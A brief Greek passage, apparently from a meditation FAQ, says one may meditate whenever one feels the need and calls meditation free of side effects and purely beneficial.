Όποτε αισθάνεται ότι το χρειάζεται! Κάθε μέρα, κάθε ώρα, πρωί ή βράδυ! Δεν υπάρχει σωστή ή λάθος απάντηση σε αυτή την ερώτηση. Ο Διαλογισμός δεν έχει παρενέργειες και μόνο ευεργετικός μπορεί να είναι για τον διαλογιζόμενο.